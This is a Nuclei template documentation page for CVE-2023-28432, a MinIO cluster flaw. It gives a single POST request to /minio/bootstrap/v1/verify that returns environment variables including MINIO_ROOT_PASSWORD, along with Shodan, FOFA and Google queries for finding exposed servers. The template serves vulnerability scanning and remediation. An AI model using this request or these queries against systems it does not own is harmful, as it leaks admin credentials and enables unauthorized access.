Skip to content
Nuclei Templates

MinIO Cluster Deployment - Information Disclosure

ID: CVE-2023-28432

Severity: high

Author: Mr-xn

Tags: cve,cve2023,minio,console,exposure,kev

Description

Section titled “Description”

MinIO is susceptible to information disclosure. In a cluster deployment starting with RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns all environment variables, including MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials. All users of distributed deployment are impacted.

YAML Source

Section titled “YAML Source”
id: CVE-2023-28432


info:
  name: MinIO Cluster Deployment - Information Disclosure
  author: Mr-xn
  severity: high
  description: |
    MinIO is susceptible to information disclosure. In a cluster deployment starting with RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns all environment variables, including MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials. All users of distributed deployment are impacted.
  impact: |
    An attacker can gain unauthorized access to sensitive information stored in the MinIO cluster.
  remediation: All users are advised to upgrade to RELEASE.2023-03-20T20-16-18Z.
  reference:
    - https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
    - https://github.com/minio/minio/pull/16853/files
    - https://github.com/golang/vulndb/issues/1667
    - https://github.com/CVEProject/cvelist/blob/master/2023/28xxx/CVE-2023-28432.json
    - https://nvd.nist.gov/vuln/detail/CVE-2023-28432
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-28432
    cwe-id: CWE-200,NVD-CWE-noinfo
    epss-score: 0.93873
    epss-percentile: 0.9913
    cpe: cpe:2.3:a:minio:minio:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: minio
    product: minio
    shodan-query:
      - title:"Minio Console"
      - http.title:"minio browser"
      - cpe:"cpe:2.3:a:minio:minio"
      - http.title:"minio console"
    fofa-query:
      - app="Minio"
      - app="minio"
      - title="minio browser"
      - title="minio console"
    google-query:
      - intitle:"minio browser"
      - intitle:"minio console"
  tags: cve,cve2023,minio,console,exposure,kev


http:
  - raw:
      - |+
        POST /minio/bootstrap/v1/verify HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"MINIO_ROOT_PASSWORD":'
          - '"MINIO_ROOT_USER":'
          - '"MinioEnv":'
        condition: or


      - type: word
        part: header
        words:
          - 'text/plain'


      - type: status
        status:
          - 200
# digest: 490a00463044022054f7c4442083a77baab63650156baf062ace8a933ceeab8450d6dae8003b34dc02206b087ce06afe4490af363e0c628d90d3d6c3f078cd17539892e4e02c66e743ba:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-28432.yaml"

View on Github